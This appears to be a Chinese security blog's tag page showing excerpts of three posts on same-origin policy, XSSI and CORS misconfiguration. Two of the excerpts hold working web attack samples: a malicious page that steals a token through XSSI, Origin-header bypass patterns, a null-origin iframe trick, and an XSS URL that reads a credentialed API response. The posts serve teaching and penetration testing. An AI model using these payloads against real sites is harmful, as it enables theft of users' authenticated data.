Tag:cors

Tag (cors)'s result:

XSSI/JSONP/flash/CORS跨域漏洞总结

0x00 同源策略(SOP)和跨域 SOP: URL Result Reason http://store.company.com/dir2/other.html Success – http://store.company.com/dir/inner/another.html Success – https://store.company.com/secure.html Failure Different protocol http://store.company.com:81/dir/etc.html Failure Different port http://news.company.com/dir/other.html Failure Different host <script>允许跨域加载资源 所有带src或href属性的标签以及部分其他标签可以跨域: <script src=”…”></script> <img src=”…”> <video src=”…”></video> <audio src=”…”></audio> <embed src=”…”> <frame src=”…”> <iframe src=”…”></iframe> <link rel=”stylesheet” href=”…”> <applet code=”…”></applet> <object data=”…” ></object> @font-face可以引入跨域字体。 <style type=”text/css”> @font-face { src: url(“http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf”); } </style> SOP和CORS,都是浏览器阻止了响应,而非拦截请求。   0x01 XSSI Cross-Site Scrite Inclusion 传统的XSSI攻击场景:恶意页面B使用script标签包含了目标网站A用来储存敏感数据的信息源C(可能是动态脚本、文件或响应),当攻击者引导受害者访问B时,由于受害者此时在A处于登录态,B可以轻松获取C中包含的受害者的敏感信息。 0. 静态的JavaScript(常规XSSI) <html> <head> <title>Regular XSSI</title> <script src=”https://www.vulnerable-domain.tld/script.js”></script> </head> <body> <script> alert(JSON.stringify(keys[0])); </script> </body> </html> //直接访问该js即可获取敏感信息,但一般都是攻击认证后包含敏感信息的js 1. 动态JavaScript 利用网上的代码作为例子:敏感数据在局部变量,通过重写函数窃取 (function(){ var token = getToken(); doSomeThing(token); })(); function getToken(){ len = 16 || 32; var $chars = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678’; var maxPos = $chars.length; var pwd = ”; for (i = 0; i < len; i++) { pwd += $chars.charAt(Math.floor(Math.random() * maxPos)); } return pwd; } 重写doSomeThing() <!–恶意页面–> <html> <head> <title>XSSI Attack</title> <script type=”text/javascript”> window.data = ”; function doSomeThing(d){ window.data = d; } </script> </head> <body> <h2>XSSI Attack</h2> <p id=”leaked_content”></p> <script type=”text/javascript” src=”http://192.168.10.130:81/secret.js”></script> <script type=”text/javascript” src=”jquery-3.3.1″></script> <script type=”text/javascript”> $(‘#leaked_content’).text(window.data); </script> </body> </html> 更多全局变量/函数/功能参数/原型链的情况可以参考:https://www.mi1k7ea.com/2020/01/04/浅析XSSI漏洞/ 2. 非JavaScript ie bug(<10): 为了防止js错误信息跨域泄漏,对于外部加载的js文件,现在主流的浏览器只有固定的错误信息,比如“script error”,但是在ie9与ie10,情况不一定如此。……

CORS进阶利用

//结合网络资料整理了CORS的进阶利用方式,基础利用参考浅谈sop、cors和csp   SOP可以发请求,但是浏览器会阻止响应 当”Access-Control-Allow-Origin“是动态产生,要用”Vary: Origin“指定。 这个头部字段向客户端表明,服务器端返回内容的将根据请求中”Origin“的值而变化。   1. ACAO为* Access-Control-Allow-Origin:* 注意Access-Control-Allow-Credentials:true和Access-Control-Allow-Origin:*不能同时使用!!! 这样配置浏览器将会报错 直接利用即可   2. ACAO为requester.com 后端代码例子: if ($_SERVER[‘HTTP_HOST’] == ‘*requester.com’) { //Access data else{ // unauthorized access} } 申请一个以requester.com结尾的域名放poc即可 or ^https?:\/\/.*\.?target\.local$ Origin: https://nottarget.local or Origin: https://target.local.attacker.domain   3. 白名单域名 if ($_SERVER[‘HTTP_HOST’] == ‘*.requester.com’) { //Access data else{ // unauthorized access} } 利用sub.requester.com的xss(或者子域名接管漏洞)漏洞攻击provider.com 案例: https://banques.redacted.com/choice-quiz?form_banque=”><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById(“demo”).innerHTML=this.responseText}};xhttp.open(“GET”,”https://www.redacted.com/api/return”,true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1   4. 反射origin add_header “Access-Control-Allow-Origin” $http_origin; add_header “Access-Control-Allow-Credentials” “true”;   5. 信任null Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true <iframe sandbox=”allow-scripts allow-top-navigation allow-forms” src=’data:text/html,<script>**CORS request here**</script>’></iframe>   5. 特殊字符 浏览器在发出请求之前并不总是验证域名。 因此,如果使用某些特殊字符,则浏览器当前可能会提交请求,而无需事先验证域名是否有效和存在。   特殊字符 Chrome(v 67.0.3396) Edge(v 41.16299.371) Firefox(v 61.0.1) Internet Explorer(v 11) Safari(v 11.1.1) ! NO NO NO NO YES = NO NO NO NO YES $ NO NO YES NO YES & NO NO NO NO YES ‘ NO NO NO NO YES ( NO NO NO NO YES ) NO NO NO NO YES * NO NO NO NO YES + NO NO YES NO YES , NO NO NO NO YES – YES NO YES YES YES ; NO NO NO NO YES = NO NO NO……

浅谈sop、cors和csp

0x00 SOP(同源策略) 协议、域名、端口相同。 简单说就是防止A网站读取B网站的cookie(资源)。 ie不受端口和授信范围(信任度)限制。 sop虽然增加了安全性,但在某些情况下(如子域间通信)造成了不便,这时候需要跨域: 1.document.domain 2. #片段标识 3. name 4. postMessage 5. jsonp 6. cors 7. Websocket <script><img><iframe><link><video><audio>等带有src属性的标签可以从不同的域加载资源,但不能读资源。 0x01 CORS(跨域资源共享) 允许浏览器向跨源服务器发XMLHttpRequest请求,突破了ajax只能同源的限制,并且和ajax代码一样,关键在服务器的cors配置。 客户端: var invocation = new XMLHttpRequest();var url = ‘http://bar.other/resources/public-data/’; function callOtherDomain() { if(invocation) { invocation.open(‘GET’, url, true); invocation.onreadystatechange = handler; invocation.send(); 或者判断浏览器: <!DOCTYPE html> <html> <head> <script type=”text/javascript” src=”./functions.js”></script> </head> <body> <script type=”text/javascript”> // Create the XHR object. function createCORSRequest(method, url) { var xhr = new XMLHttpRequest(); if (“withCredentials” in xhr) { // XHR for Chrome/Firefox/Opera/Safari. xhr.open(method, url, true); } else if (typeof XDomainRequest != “undefined”) { // XDomainRequest for IE. xhr = new XDomainRequest(); xhr.open(method, url); } else { // CORS not supported. xhr = null; } return xhr; } // Make the actual CORS request. function makeCorsRequest() { // All HTML5 Rocks properties support CORS. var url = ‘http://oss-cors-test.oss-cn-hangzhou.aliyuncs.com/test.txt’; var xhr = createCORSRequest(‘GET’, url); if (!xhr) { alert(‘CORS not supported’); return; } // Response handlers. xhr.onload = function() { var text = xhr.responseText; var title = text; alert(‘Response from CORS request to ‘ + url……